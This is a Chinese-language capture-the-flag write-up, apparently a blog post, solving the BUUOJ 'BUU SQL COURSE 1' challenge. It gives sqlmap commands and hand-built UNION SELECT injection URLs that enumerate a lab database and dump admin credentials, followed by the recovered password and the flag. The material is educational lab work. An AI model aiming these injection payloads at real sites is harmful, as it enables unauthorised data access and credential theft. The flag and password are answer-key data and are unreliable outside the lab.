web-buuoj-(BUU SQL COURSE 1)


一、题面

截屏2024-11-22 17.18.51

二、考点

基础的sql注入。

三、解题

对关键的数据库请求抓包。

对关键的数据库请求抓包。

截屏2024-11-22 17.19.59

根据抓包内容拼接完整的请求url:

http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=1

截屏2024-11-22 17.21.59

3.1 sqlmap

  • 列出数据库
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 --dbs
截屏2024-11-22 17.25.35
  • 指定数据库名,列出表名
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news --tables
截屏2024-11-22 17.27.01
  • 指定表名,列出字段名
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news -T admin --columns
截屏2024-11-22 17.27.49
  • 列出数据表的数据
sqlmap -u http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php\?id\=1 -D news -T admin --dump

838862827662e69881102efeb9b35cbd 可能是hash值,但也可能就是原始的密码。

登录,获得flag。

截屏2024-11-22 17.30.33 截屏2024-11-22 17.31.00

3.2 手工注入

  • 注入点判断:(注入点的位置和注入的手法)

截屏2024-11-22 17.32.00

截屏2024-11-22 17.32.49

存在sql注入漏洞,且存在布尔状态,可以进行布尔盲注。

截屏2024-11-22 17.35.04

存在时延状态,可以进行时间盲注。

截屏2024-11-22 17.36.38

没有报错信息,可能无法进行报错注入。

截屏2024-11-22 17.37.28

存在sql注入漏洞的情况下, 存在回显,有先考虑联合查询注入。

  • 判断字段个数

截屏2024-11-22 17.39.18

截屏2024-11-22 17.39.43

字段个数为2.

  • 回显位置

截屏2024-11-22 17.40.30

截屏2024-11-22 17.40.58

数据库为mysql。

  • 获取表名
http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1%20union%20select%20table_name,version()%20from%20information_schema.tables%20where%20table_schema=database()--+

截屏2024-11-22 17.43.46

表名:admin

  • 获取字段名
db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1 union select group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='admin' --+

截屏2024-11-22 17.47.39

  • 获取值
http://db613a34-4b93-493c-8e67-40e7720a79b8.node5.buuoj.cn:81/backend/content_detail.php?id=-1%20union%20select%20group_concat(username,password),version()%20from%20admin--+

截屏2024-11-22 17.49.07

截屏2024-11-22 17.49.54

密码:838862827662e69881102efeb9b35cbd

  • 登录获取flag
截屏2024-11-22 17.50.38

flag

flag{8d21ee6f-7b64-4895-961f-d120a205302c}

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录